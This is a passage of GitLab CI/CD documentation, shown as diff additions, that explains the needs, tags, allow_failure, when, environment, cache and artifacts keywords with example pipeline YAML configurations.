[Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/47063) in GitLab 12.2. +> - In GitLab 12.3, maximum number of jobs in `needs` array raised from five to 50. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30631) in GitLab 12.8, `needs: []` lets jobs start immediately. + +Use `needs:` to execute jobs out-of-order. Relationships between jobs +that use `needs` can be visualized as a [directed acyclic graph](../directed_acyclic_graph/index.md). + +You can ignore stage ordering and run some jobs without waiting for others to complete. +Jobs in multiple stages can run concurrently. + +The following example creates four paths of execution: + +- Linter: the `lint` job runs immediately without waiting for the `build` stage + to complete because it has no needs (`needs: []`). +- Linux path: the `linux:rspec` and `linux:rubocop` jobs runs as soon as the `linux:build` + job finishes without waiting for `mac:build` to finish. +- macOS path: the `mac:rspec` and `mac:rubocop` jobs runs as soon as the `mac:build` + job finishes, without waiting for `linux:build` to finish. +- The `production` job runs as soon as all previous jobs finish; in this case: + `linux:build`, `linux:rspec`, `linux:rubocop`, `mac:build`, `mac:rspec`, `mac:rubocop`. + +```yaml +linux:build: + stage: build + script: echo "Building linux..." + +mac:build: + stage: build + script: echo "Building mac..." + +lint: + stage: test + needs: [] + script: echo "Linting..." + +linux:rspec: + stage: test + needs: ["linux:build"] + script: echo "Running rspec on linux..." + +linux:rubocop: + stage: test + needs: ["linux:build"] + script: echo "Running rubocop on linux..." + +mac:rspec: + stage: test + needs: ["mac:build"] + script: echo "Running rspec on mac..." + +mac:rubocop: + stage: test + needs: ["mac:build"] + script: echo "Running rubocop on mac..." + +production: + stage: deploy + script: echo "Running production..." +``` + +#### Requirements and limitations + +- In [GitLab 14.1 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/30632) + you can refer to jobs in the same stage as the job you are configuring. This feature + is [Deployed behind a feature flag](../../user/feature_flags.md), disabled by default. +- Disabled on GitLab.com. +- Not recommended for production use. +- For GitLab self-managed instances, GitLab adminsitrators + can choose to [disable it](#enable-or-disable-needs-for-jobs-in-the-same-stage) +- In GitLab 14.0 and older, you can only refer to jobs in earlier stages. +- In GitLab 13.9 and older, if `needs:` refers to a job that might not be added to + a pipeline because of `only`, `except`, or `rules`, the pipeline might fail to create. +- The maximum number of jobs that a single job can need in the `needs:` array is limited: + - For GitLab.com, the limit is 50. For more information, see our + [infrastructure issue](https://gitlab.com/gitlab-com/gl-infra/infrastructure/-/issues/7541). + - For self-managed instances, the limit is: 50. This limit [can be changed](#changing-the-needs-job-limit). +- If `needs:` refers to a job that uses the [`parallel`](#parallel) keyword, + it depends on all jobs created in parallel, not just one job. It also downloads + artifacts from all the parallel jobs by default. If the artifacts have the same + name, they overwrite each other and only the last one downloaded is saved. +- `needs:` is similar to `dependencies:` in that it must use jobs from prior stages, + meaning it's impossible to create circular dependencies. Depending on jobs in the + current stage is not possible either, but support [is planned](https://gitlab.com/gitlab-org/gitlab/-/issues/30632). +- Stages must be explicitly defined for all jobs + that have the keyword `needs:` or are referred to by one. + +##### Enable or disable `needs` for jobs in the same stage **(FREE SELF)** + +`needs` for jobs in the same stage is under development but ready for production use. +It is deployed behind a feature flag that is **enabled by default**. +[GitLab administrators with access to the GitLab Rails +console](../../administration/feature_flags.md) +can opt to disable it. + +To enable it: + +`Feature.enable(:ci_same_stage_job_needs)` + +To disable it: + +`Feature.disable(:ci_same_stage_job_needs)` + +##### Changing the `needs:` job limit **(FREE SELF)** + +The maximum number of jobs that can be defined in `needs:` defaults to 50. + +A GitLab administrator with [access to the GitLab Rails console](../../administration/feature_flags.md) +can choose a custom limit. For example, to set the limit to 100: + +```ruby +Plan.default.actual_limits.update!(ci_needs_size_limit: 100) +``` + +To disable directed acyclic graphs (DAG), set the limit to `0`. + +#### Artifact downloads with `needs` + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14311) in GitLab v12.6. + +When a job uses `needs`, it no longer downloads all artifacts from previous stages +by default, because jobs with `needs` can start before earlier stages complete. With +`needs` you can only download artifacts from the jobs listed in the `needs:` configuration. + +Use `artifacts: true` (default) or `artifacts: false` to control when artifacts are +downloaded in jobs that use `needs`. + +In the following example, the `rspec` job downloads the `build_job` artifacts, but the +`rubocop` job does not: + +```yaml +build_job: + stage: build + artifacts: + paths: + - binaries/ + +rspec: + stage: test + needs: + - job: build_job + artifacts: true + +rubocop: + stage: test + needs: + - job: build_job + artifacts: false +``` + +In the following example, the `rspec` job downloads the artifacts from all three `build_jobs`. +`artifacts` is: + +- Set to true for `build_job_1`. +- Defaults to true for both `build_job_2` and `build_job_3`. + +```yaml +rspec: + needs: + - job: build_job_1 + artifacts: true + - job: build_job_2 + - build_job_3 +``` + +In GitLab 12.6 and later, you can't combine the [`dependencies`](#dependencies) keyword +with `needs`. + +#### Cross project artifact downloads with `needs` **(PREMIUM)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14311) in GitLab v12.7. + +Use `needs` to download artifacts from up to five jobs in pipelines: + +- [On other refs in the same project](#artifact-downloads-between-pipelines-in-the-same-project). +- In different projects, groups and namespaces. + +```yaml +build_job: + stage: build + script: + - ls -lhR + needs: + - project: namespace/group/project-name + job: build-1 + ref: main + artifacts: true +``` + +`build_job` downloads the artifacts from the latest successful `build-1` job +on the `main` branch in the `group/project-name` project. If the project is in the +same group or namespace, you can omit them from the `project:` keyword. For example, +`project: group/project-name` or `project: project-name`. + +The user running the pipeline must have at least `reporter` access to the group or project, or the group/project must have public visibility. + +##### Artifact downloads between pipelines in the same project + +Use `needs` to download artifacts from different pipelines in the current project. +Set the `project` keyword as the current project's name, and specify a ref. + +In the following example, `build_job` downloads the artifacts for the latest successful +`build-1` job with the `other-ref` ref: + +```yaml +build_job: + stage: build + script: + - ls -lhR + needs: + - project: group/same-project-name + job: build-1 + ref: other-ref + artifacts: true +``` + +CI/CD variable support for `project:`, `job:`, and `ref` was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/202093) +in GitLab 13.3. [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/235761) in GitLab 13.4. + +For example: + +```yaml +build_job: + stage: build + script: + - ls -lhR + needs: + - project: $CI_PROJECT_PATH + job: $DEPENDENCY_JOB_NAME + ref: $ARTIFACTS_DOWNLOAD_REF + artifacts: true +``` + +You can't download artifacts from jobs that run in [`parallel:`](#parallel). + +To download artifacts between [parent-child pipelines](../pipelines/parent_child_pipelines.md), +use [`needs:pipeline`](#artifact-downloads-to-child-pipelines). + +You should not download artifacts from the same ref as a running pipeline. Concurrent +pipelines running on the same ref could override the artifacts. + +#### Artifact downloads to child pipelines + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/255983) in GitLab v13.7. + +A [child pipeline](../pipelines/parent_child_pipelines.md) can download artifacts from a job in +its parent pipeline or another child pipeline in the same parent-child pipeline hierarchy. + +For example, with the following parent pipeline that has a job that creates some artifacts: + +```yaml +create-artifact: + stage: build + script: echo 'sample artifact' > artifact.txt + artifacts: + paths: [artifact.txt] + +child-pipeline: + stage: test + trigger: + include: child.yml + strategy: depend + variables: + PARENT_PIPELINE_ID: $CI_PIPELINE_ID +``` + +A job in the child pipeline can download artifacts from the `create-artifact` job in +the parent pipeline: + +```yaml +use-artifact: + script: cat artifact.txt + needs: + - pipeline: $PARENT_PIPELINE_ID + job: create-artifact +``` + +The `pipeline` attribute accepts a pipeline ID and it must be a pipeline present +in the same parent-child pipeline hierarchy of the given pipeline. + +The `pipeline` attribute does not accept the current pipeline ID (`$CI_PIPELINE_ID`). +To download artifacts from a job in the current pipeline, use the basic form of [`needs`](#artifact-downloads-with-needs). + +#### Optional `needs` + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30680) in GitLab 13.10. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/323891) in GitLab 14.0. + +To need a job that sometimes does not exist in the pipeline, add `optional: true` +to the `needs` configuration. If not defined, `optional: false` is the default. + +Jobs that use [`rules`](#rules), [`only`, or `except`](#only--except), might +not always exist in a pipeline. When the pipeline starts, it checks the `needs` +relationships before running. Without `optional: true`, needs relationships that +point to a job that does not exist stops the pipeline from starting and causes a pipeline +error similar to: + +- `'job1' job needs 'job2' job, but it was not added to the pipeline` + +In this example: + +- When the branch is the default branch, the `build` job exists in the pipeline, and the `rspec` + job waits for it to complete before starting. +- When the branch is not the default branch, the `build` job does not exist in the pipeline. + The `rspec` job runs immediately (similar to `needs: []`) because its `needs` + relationship to the `build` job is optional. + +```yaml +build: + stage: build + rules: + - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH + +rspec: + stage: test + needs: + - job: build + optional: true +``` + +### `tags` + +Use `tags` to select a specific runner from the list of all runners that are +available for the project. + +When you register a runner, you can specify the runner's tags, for +example `ruby`, `postgres`, `development`. + +In the following example, the job is run by a runner that +has both `ruby` and `postgres` tags defined. + +```yaml +job: + tags: + - ruby + - postgres +``` + +You can use tags to run different jobs on different platforms. For +example, if you have an OS X runner with tag `osx` and a Windows runner with tag +`windows`, you can run a job on each platform: + +```yaml +windows job: + stage: + - build + tags: + - windows + script: + - echo Hello, %USERNAME%! + +osx job: + stage: + - build + tags: + - osx + script: + - echo "Hello, $USER!" +``` + +### `allow_failure` + +Use `allow_failure` when you want to let a job fail without impacting the rest of the CI +suite. The default value is `false`, except for [manual](#whenmanual) jobs that use +the `when: manual` syntax. + +In jobs that use [`rules:`](#rules), all jobs default to `allow_failure: false`, +*including* `when: manual` jobs. + +When `allow_failure` is set to `true` and the job fails, the job shows an orange warning in the UI. +However, the logical flow of the pipeline considers the job a +success/passed, and is not blocked. + +Assuming all other jobs are successful, the job's stage and its pipeline +show the same orange warning. However, the associated commit is marked as +"passed", without warnings. + +In the following example, `job1` and `job2` run in parallel. If `job1` +fails, it doesn't stop the next stage from running, because it's marked with +`allow_failure: true`: + +```yaml +job1: + stage: test + script: + - execute_script_that_will_fail + allow_failure: true + +job2: + stage: test + script: + - execute_script_that_will_succeed + +job3: + stage: deploy + script: + - deploy_to_staging +``` + +#### `allow_failure:exit_codes` + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/273157) in GitLab 13.8. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/292024) in GitLab 13.9. + +Use `allow_failure:exit_codes` to dynamically control if a job should be allowed +to fail. You can list which exit codes are not considered failures. The job fails +for any other exit code: + +```yaml +test_job_1: + script: + - echo "Run a script that results in exit code 1. This job fails." + - exit 1 + allow_failure: + exit_codes: 137 + +test_job_2: + script: + - echo "Run a script that results in exit code 137. This job is allowed to fail." + - exit 137 + allow_failure: + exit_codes: + - 137 + - 255 +``` + +### `when` + +Use `when` to implement jobs that run in case of failure or despite the +failure. + +The valid values of `when` are: + +1. `on_success` (default) - Execute job only when all jobs in earlier stages succeed, + or are considered successful because they have `allow_failure: true`. +1. `on_failure` - Execute job only when at least one job in an earlier stage fails. +1. `always` - Execute job regardless of the status of jobs in earlier stages. +1. `manual` - Execute job [manually](#whenmanual). +1. `delayed` - [Delay the execution of a job](#whendelayed) for a specified duration. + Added in GitLab 11.14. +1. `never`: + - With job [`rules`](#rules), don't execute job. + - With [`workflow:rules`](#workflow), don't run pipeline. + +In the following example, the script: + +1. Executes `cleanup_build_job` only when `build_job` fails. +1. Always executes `cleanup_job` as the last step in pipeline regardless of + success or failure. +1. Executes `deploy_job` when you run it manually in the GitLab UI. + +```yaml +stages: + - build + - cleanup_build + - test + - deploy + - cleanup + +build_job: + stage: build + script: + - make build + +cleanup_build_job: + stage: cleanup_build + script: + - cleanup build when failed + when: on_failure + +test_job: + stage: test + script: + - make test + +deploy_job: + stage: deploy + script: + - make deploy + when: manual + +cleanup_job: + stage: cleanup + script: + - cleanup after jobs + when: always +``` + +#### `when:manual` + +A manual job is a type of job that is not executed automatically and must be explicitly +started by a user. You might want to use manual jobs for things like deploying to production. + +To make a job manual, add `when: manual` to its configuration. + +When the pipeline starts, manual jobs display as skipped and do not run automatically. +They can be started from the pipeline, job, [environment](../environments/index.md#configure-manual-deployments), +and deployment views. + +Manual jobs can be either optional or blocking: + +- **Optional**: Manual jobs have [`allow_failure: true](#allow_failure) set by default + and are considered optional. The status of an optional manual job does not contribute + to the overall pipeline status. A pipeline can succeed even if all its manual jobs fail. + +- **Blocking**: To make a blocking manual job, add `allow_failure: false` to its configuration. + Blocking manual jobs stop further execution of the pipeline at the stage where the + job is defined. To let the pipeline continue running, click **{play}** (play) on + the blocking manual job. + + Merge requests in projects with [merge when pipeline succeeds](../../user/project/merge_requests/merge_when_pipeline_succeeds.md) + enabled can't be merged with a blocked pipeline. Blocked pipelines show a status + of **blocked**. + +When you use [`rules:`](#rules), `allow_failure` defaults to `false`, including for manual jobs. + +To trigger a manual job, a user must have permission to merge to the assigned branch. +You can use [protected branches](../../user/project/protected_branches.md) to more strictly +[protect manual deployments](#protecting-manual-jobs) from being run by unauthorized users. + +In [GitLab 13.5](https://gitlab.com/gitlab-org/gitlab/-/issues/201938) and later, you +can use `when:manual` in the same job as [`trigger`](#trigger). In GitLab 13.4 and +earlier, using them together causes the error `jobs:#{job-name} when should be on_success, on_failure or always`. + +##### Protecting manual jobs **(PREMIUM)** + +Use [protected environments](../environments/protected_environments.md) +to define a list of users authorized to run a manual job. You can authorize only +the users associated with a protected environment to trigger manual jobs, which can: + +- More precisely limit who can deploy to an environment. +- Block a pipeline until an approved user "approves" it. + +To protect a manual job: + +1. Add an `environment` to the job. For example: + + ```yaml + deploy_prod: + stage: deploy + script: + - echo "Deploy to production server" + environment: + name: production + url: https://example.com + when: manual + rules: + - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH + ``` + +1. In the [protected environments settings](../environments/protected_environments.md#protecting-environments), + select the environment (`production` in this example) and add the users, roles or groups + that are authorized to trigger the manual job to the **Allowed to Deploy** list. Only those in + this list can trigger this manual job, as well as GitLab administrators + who are always able to use protected environments. + +You can use protected environments with blocking manual jobs to have a list of users +allowed to approve later pipeline stages. Add `allow_failure: false` to the protected +manual job and the pipeline's next stages only run after the manual job is triggered +by authorized users. + +#### `when:delayed` + +> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/51352) in GitLab 11.4. + +Use `when: delayed` to execute scripts after a waiting period, or if you want to avoid +jobs immediately entering the `pending` state. + +You can set the period with `start_in` keyword. The value of `start_in` is an elapsed time in seconds, unless a unit is +provided. `start_in` must be less than or equal to one week. Examples of valid values include: + +- `'5'` +- `5 seconds` +- `30 minutes` +- `1 day` +- `1 week` + +When a stage includes a delayed job, the pipeline doesn't progress until the delayed job finishes. +You can use this keyword to insert delays between different stages. + +The timer of a delayed job starts immediately after the previous stage completes. +Similar to other types of jobs, a delayed job's timer doesn't start unless the previous stage passes. + +The following example creates a job named `timed rollout 10%` that is executed 30 minutes after the previous stage completes: + +```yaml +timed rollout 10%: + stage: deploy + script: echo 'Rolling out 10% ...' + when: delayed + start_in: 30 minutes +``` + +To stop the active timer of a delayed job, click the **{time-out}** (**Unschedule**) button. +This job can no longer be scheduled to run automatically. You can, however, execute the job manually. + +To start a delayed job immediately, click the **Play** button. +Soon GitLab Runner picks up and starts the job. + +### `environment` + +Use `environment` to define the [environment](../environments/index.md) that a job deploys to. +For example: + +```yaml +deploy to production: + stage: deploy + script: git push production HEAD:main + environment: production +``` + +You can assign a value to the `environment` keyword by using: + +- Plain text, like `production`. +- Variables, including CI/CD variables, predefined, secure, or variables + defined in the `.gitlab-ci.yml` file. + +You can't use variables defined in a `script` section. + +If you specify an `environment` and no environment with that name exists, +an environment is created. + +#### `environment:name` + +Set a name for an [environment](../environments/index.md). For example: + +```yaml +deploy to production: + stage: deploy + script: git push production HEAD:main + environment: + name: production +``` + +Common environment names are `qa`, `staging`, and `production`, but you can use any +name you want. + +You can assign a value to the `name` keyword by using: + +- Plain text, like `staging`. +- Variables, including CI/CD variables, predefined, secure, or variables + defined in the `.gitlab-ci.yml` file. + +You can't use variables defined in a `script` section. + +The environment `name` can contain: + +- Letters +- Digits +- Spaces +- `-` +- `_` +- `/` +- `$` +- `{` +- `}` + +#### `environment:url` + +Set a URL for an [environment](../environments/index.md). For example: + +```yaml +deploy to production: + stage: deploy + script: git push production HEAD:main + environment: + name: production + url: https://prod.example.com +``` + +After the job completes, you can access the URL by using a button in the merge request, +environment, or deployment pages. + +You can assign a value to the `url` keyword by using: + +- Plain text, like `https://prod.example.com`. +- Variables, including CI/CD variables, predefined, secure, or variables + defined in the `.gitlab-ci.yml` file. + +You can't use variables defined in a `script` section. + +#### `environment:on_stop` + +Closing (stopping) environments can be achieved with the `on_stop` keyword +defined under `environment`. It declares a different job that runs to close the +environment. + +Read the `environment:action` section for an example. + +#### `environment:action` + +Use the `action` keyword to specify jobs that prepare, start, or stop environments. + +| **Value** | **Description** | +|-----------|---------------------------------------------------------------------------------------------------------------------------------------------------------------| +| `start` | Default value. Indicates that job starts the environment. The deployment is created after the job starts. | +| `prepare` | Indicates that the job is only preparing the environment. It does not trigger deployments. [Read more about preparing environments](../environments/index.md#prepare-an-environment-without-creating-a-deployment). | +| `stop` | Indicates that job stops deployment. See the example below. | + +Take for instance: + +```yaml +review_app: + stage: deploy + script: make deploy-app + environment: + name: review/$CI_COMMIT_REF_NAME + url: https://$CI_ENVIRONMENT_SLUG.example.com + on_stop: stop_review_app + +stop_review_app: + stage: deploy + variables: + GIT_STRATEGY: none + script: make delete-app + when: manual + environment: + name: review/$CI_COMMIT_REF_NAME + action: stop +``` + +In the above example, the `review_app` job deploys to the `review` +environment. A new `stop_review_app` job is listed under `on_stop`. +After the `review_app` job is finished, it triggers the +`stop_review_app` job based on what is defined under `when`. In this case, +it is set to `manual`, so it needs a [manual action](#whenmanual) from +the GitLab UI to run. + +Also in the example, `GIT_STRATEGY` is set to `none`. If the +`stop_review_app` job is [automatically triggered](../environments/index.md#stopping-an-environment), +the runner won't try to check out the code after the branch is deleted. + +The example also overwrites global variables. If your `stop` `environment` job depends +on global variables, use [anchor variables](#yaml-anchors-for-variables) when you set the `GIT_STRATEGY` +to change the job without overriding the global variables. + +The `stop_review_app` job is **required** to have the following keywords defined: + +- `when`, defined at either: + - [The job level](#when). + - [In a rules clause](#rules). If you use `rules:` and `when: manual`, you should + also set [`allow_failure: true`](#allow_failure) so the pipeline can complete + even if the job doesn't run. +- `environment:name` +- `environment:action` + +Additionally, both jobs should have matching [`rules`](#only--except) +or [`only/except`](#only--except) configuration. + +In the examples above, if the configuration is not identical: + +- The `stop_review_app` job might not be included in all pipelines that include the `review_app` job. +- It is not possible to trigger the `action: stop` to stop the environment automatically. + +#### `environment:auto_stop_in` + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/20956) in GitLab 12.8. + +The `auto_stop_in` keyword is for specifying the lifetime of the environment, +that when expired, GitLab automatically stops them. + +For example, + +```yaml +review_app: + script: deploy-review-app + environment: + name: review/$CI_COMMIT_REF_NAME + auto_stop_in: 1 day +``` + +When the environment for `review_app` is created, the environment's lifetime is set to `1 day`. +Every time the review app is deployed, that lifetime is also reset to `1 day`. + +For more information, see +[the environments auto-stop documentation](../environments/index.md#stop-an-environment-after-a-certain-time-period) + +#### `environment:kubernetes` + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/27630) in GitLab 12.6. + +Use the `kubernetes` keyword to configure deployments to a +[Kubernetes cluster](../../user/project/clusters/index.md) that is associated with your project. + +For example: + +```yaml +deploy: + stage: deploy + script: make deploy-app + environment: + name: production + kubernetes: + namespace: production +``` + +This configuration sets up the `deploy` job to deploy to the `production` +environment, using the `production` +[Kubernetes namespace](https://kubernetes.io/docs/concepts/overview/working-with-objects/namespaces/). + +For more information, see +[Available settings for `kubernetes`](../environments/index.md#configure-kubernetes-deployments). + +NOTE: +Kubernetes configuration is not supported for Kubernetes clusters +that are [managed by GitLab](../../user/project/clusters/index.md#gitlab-managed-clusters). +To follow progress on support for GitLab-managed clusters, see the +[relevant issue](https://gitlab.com/gitlab-org/gitlab/-/issues/38054). + +#### `environment:deployment_tier` + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/300741) in GitLab 13.10. + +Use the `deployment_tier` keyword to specify the tier of the deployment environment: + +```yaml +deploy: + script: echo + environment: + name: customer-portal + deployment_tier: production +``` + +For more information, +see [Deployment tier of environments](../environments/index.md#deployment-tier-of-environments). + +#### Dynamic environments + +Use CI/CD [variables](../variables/index.md) to dynamically name environments. + +For example: + +```yaml +deploy as review app: + stage: deploy + script: make deploy + environment: + name: review/$CI_COMMIT_REF_NAME + url: https://$CI_ENVIRONMENT_SLUG.example.com/ +``` + +The `deploy as review app` job is marked as a deployment to dynamically +create the `review/$CI_COMMIT_REF_NAME` environment. `$CI_COMMIT_REF_NAME` +is a [CI/CD variable](../variables/index.md) set by the runner. The +`$CI_ENVIRONMENT_SLUG` variable is based on the environment name, but suitable +for inclusion in URLs. If the `deploy as review app` job runs in a branch named +`pow`, this environment would be accessible with a URL like `https://review-pow.example.com/`. + +The common use case is to create dynamic environments for branches and use them +as Review Apps. You can see an example that uses Review Apps at +<https://gitlab.com/gitlab-examples/review-apps-nginx/>. + +### `cache` + +Use `cache` to specify a list of files and directories to +cache between jobs. You can only use paths that are in the local working copy. + +Caching is shared between pipelines and jobs. Caches are restored before [artifacts](#artifacts). + +Learn more about caches in [Caching in GitLab CI/CD](../caching/index.md). + +#### `cache:paths` + +Use the `cache:paths` keyword to choose which files or directories to cache. + +**Keyword type**: Job-specific. You can use it only as part of a job. + +**Possible inputs**: An array of paths relative to the project directory (`$CI_PROJECT_DIR`). +You can use wildcards that use [glob](https://en.wikipedia.org/wiki/Glob_(programming)) +patterns: + +- In [GitLab Runner 13.0](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/2620) and later, +[`doublestar.Glob`](https://pkg.go.dev/github.com/bmatcuk/doublestar@v1.2.2?tab=doc#Match). +- In GitLab Runner 12.10 and earlier, +[`filepath.Match`](https://pkg.go.dev/path/filepath#Match). + +**Example of `cache:paths`**: + +Cache all files in `binaries` that end in `.apk` and the `.config` file: + +```yaml +rspec: + script: + - echo "This job uses a cache." + cache: + key: binaries-cache + paths: + - binaries/*.apk + - .config +``` + +**Related topics**: + +- See the [common `cache` use cases](../caching/index.md#common-use-cases-for-caches) for more + `cache:paths` examples. + +#### `cache:key` + +Use the `cache:key` keyword to give each cache a unique identifying key. All jobs +that use the same cache key use the same cache, including in different pipelines. + +If not set, the default key is `default`. All jobs with the `cache:` keyword but +no `cache:key` share the `default` cache. + +**Keyword type**: Job-specific. You can use it only as part of a job. + +**Possible inputs**: + +- A string. +- A [predefined variables](../variables/index.md). +- A combination of both. + +**Example of `cache:key`**: + +```yaml +cache-job: + script: + - echo "This job uses a cache." + cache: + key: binaries-cache-$CI_COMMIT_REF_SLUG + paths: + - binaries/ +``` + +**Additional details**: + +- If you use **Windows Batch** to run your shell scripts you need to replace + `$` with `%`. For example: `key: %CI_COMMIT_REF_SLUG%` +- The `cache:key` value can't contain: + + - The `/` character, or the equivalent URI-encoded `%2F`. + - Only the `.` character (any number), or the equivalent URI-encoded `%2E`. + +- The cache is shared between jobs, so if you're using different + paths for different jobs, you should also set a different `cache:key`. + Otherwise cache content can be overwritten. + +**Related topics**: + +- You can specify a [fallback cache key](../caching/index.md#use-a-fallback-cache-key) + to use if the specified `cache:key` is not found. +- You can [use multiple cache keys](../caching/index.md#use-multiple-caches) in a single job. +- See the [common `cache` use cases](../caching/index.md#common-use-cases-for-caches) for more + `cache:key` examples. + +##### `cache:key:files` + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/18986) in GitLab v12.5. + +Use the `cache:key:files` keyword to generate a new key when one or two specific files +change. `cache:key:files` lets you reuse some caches, and rebuild them less often, +which speeds up subsequent pipeline runs. + +**Keyword type**: Job-specific. You can use it only as part of a job. + +**Possible inputs**: An array of one or two file paths. + +**Example of `cache:key:files`**: + +```yaml +cache-job: + script: + - echo "This job uses a cache." + cache: + key: + files: + - Gemfile.lock + - package.json + paths: + - vendor/ruby + - node_modules +``` + +This example creates a cache for Ruby and Node.js dependencies. The cache +is tied to the current versions of the `Gemfile.lock` and `package.json` files. When one of +these files changes, a new cache key is computed and a new cache is created. Any future +job runs that use the same `Gemfile.lock` and `package.json` with `cache:key:files` +use the new cache, instead of rebuilding the dependencies. + +**Additional details**: The cache `key` is a SHA computed from the most recent commits +that changed each listed file. If neither file is changed in any commits, the +fallback key is `default`. + +##### `cache:key:prefix` + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/18986) in GitLab v12.5. + +Use `cache:key:prefix` to combine a prefix with the SHA computed for [`cache:key:files`](#cachekeyfiles). + +**Keyword type**: Job-specific. You can use it only as part of a job. + +**Possible inputs**: + +- A string +- A [predefined variables](../variables/index.md) +- A combination of both. + +**Example of `cache:key:prefix`**: + +```yaml +rspec: + script: + - echo "This rspec job uses a cache." + cache: + key: + files: + - Gemfile.lock + prefix: $CI_JOB_NAME + paths: + - vendor/ruby +``` + +For example, adding a `prefix` of `$CI_JOB_NAME` causes the key to look like `rspec-feef9576d21ee9b6a32e30c5c79d0a0ceb68d1e5`. +If a branch changes `Gemfile.lock`, that branch has a new SHA checksum for `cache:key:files`. +A new cache key is generated, and a new cache is created for that key. If `Gemfile.lock` +is not found, the prefix is added to `default`, so the key in the example would be `rspec-default`. + +**Additional details**: If no file in `cache:key:files` is changed in any commits, +the prefix is added to the `default` key. + +#### `cache:untracked` + +Use `untracked: true` to cache all files that are untracked in your Git repository: + +**Keyword type**: Job-specific. You can use it only as part of a job. + +**Possible inputs**: `true` or `false` (default). + +**Example of `cache:untracked`**: + +```yaml +rspec: + script: test + cache: + untracked: true +``` + +**Additional details**: + +- You can combine `cache:untracked` with `cache:paths` to cache all untracked files + as well as files in the configured paths. For example: + + ```yaml + rspec: + script: test + cache: + untracked: true + paths: + - binaries/ + ``` + +#### `cache:when` + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/18969) in GitLab 13.5 and GitLab Runner v13.5.0. + +Use `cache:when` to define when to save the cache, based on the status of the job. + +**Keyword type**: Job-specific. You can use it only as part of a job. + +**Possible inputs**: + +- `on_success` (default): Save the cache only when the job succeeds. +- `on_failure`: Save the cache only when the job fails. +- `always`: Always save the cache. + +**Example of `cache:when`**: + +```yaml +rspec: + script: rspec + cache: + paths: + - rspec/ + when: 'always' +``` + +This example stores the cache whether or not the job fails or succeeds. + +#### `cache:policy` + +To change the upload and download behavior of a cache, use the `cache:policy` keyword. +By default, the job downloads the cache when the job starts, and uploads changes +to the cache when the job ends. This is the `pull-push` policy (default). + +To set a job to only download the cache when the job starts, but never upload changes +when the job finishes, use `cache:policy:pull`. + +To set a job to only upload a cache when the job finishes, but never download the +cache when the job starts, use `cache:policy:push`. + +Use the `pull` policy when you have many jobs executing in parallel that use the same cache. +This policy speeds up job execution and reduces load on the cache server. You can +use a job with the `push` policy to build the cache. + +**Keyword type**: Job-specific. You can use it only as part of a job. + +**Possible inputs**: + +- `pull` +- `push` +- `pull-push` (default) + +**Example of `cache:policy`**: + +```yaml +prepare-dependencies-job: + stage: build + cache: + key: gems + paths: + - vendor/bundle + policy: push + script: + - echo "This job only downloads dependencies and builds the cache." + - echo "Downloading dependencies..." + +faster-test-job: + stage: test + cache: + key: gems + paths: + - vendor/bundle + policy: pull + script: + - echo "This job script uses the cache, but does not update it." + - echo "Running tests..." +``` + +### `artifacts` + +Use `artifacts` to specify a list of files and directories that are +attached to the job when it [succeeds, fails, or always](#artifactswhen). + +The artifacts are sent to GitLab after the job finishes. They are +available for download in the GitLab UI if the size is not +larger than the [maximum artifact size](../../user/gitlab_com/index.md#gitlab-cicd). + +By default, jobs in later stages automatically download all the artifacts created +by jobs in earlier stages. You can control artifact download behavior in jobs with +[`dependencies`](#dependencies). + +When using the [`needs`](#artifact-downloads-with-needs) keyword, jobs can only download +artifacts from the jobs defined in the `needs` configuration. + +Job artifacts are only collected for successful jobs by default, and +artifacts are restored after [caches](#cache). + +[Read more about artifacts](../pipelines/job_artifacts.md). + +#### `dependencies` + +By default, all `artifacts` from previous stages +are passed to each job. However, you can use the `dependencies` keyword to +define a limited list of jobs to fetch artifacts from. You can also set a job to download no artifacts at all. + +To use this feature, define `dependencies` in context of the job and pass +a list of all previous jobs the artifacts should be downloaded from. + +You can define jobs from stages that were executed before the current one. +An error occurs if you define jobs from the current or an upcoming stage. + +To prevent a job from downloading artifacts, define an empty array. + +When you use `dependencies`, the status of the previous job is not considered. +If a job fails or it's a manual job that isn't triggered, no error occurs. + +The following example defines two jobs with artifacts: `build:osx` and +`build:linux`. When the `test:osx` is executed, the artifacts from `build:osx` +are downloaded and extracted in the context of the build. The same happens +for `test:linux` and artifacts from `build:linux`. + +The job `deploy` downloads artifacts from all previous jobs because of +the [stage](#stages) precedence: + +```yaml +build:osx: + stage: build + script: make build:osx + artifacts: + paths: + - binaries/ + +build:linux: + stage: build + script: make build:linux + artifacts: + paths: + - binaries/ + +test:osx: + stage: test + script: make test:osx + dependencies: + - build:osx + +test:linux: + stage: test + script: make test:linux + dependencies: + - build:linux + +deploy: + stage: deploy + script: make deploy +``` + +##### When a dependent job fails + +> Introduced in GitLab 10.3. + +If the artifacts of the job that is set as a dependency are +[expired](#artifactsexpire_in) or +[deleted](../pipelines/job_artifacts.md#delete-job-artifacts), then +the dependent job fails. + +#### `artifacts:exclude` + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15122) in GitLab 13.1 +> - Requires GitLab Runner 13.1 + +`exclude` makes it possible to prevent files from being added to an artifacts +archive. + +Similar to [`artifacts:paths`](#artifactspaths), `exclude` paths are relative +to the project directory. You can use Wildcards that use +[glob](https://en.wikipedia.org/wiki/Glob_(programming)) or 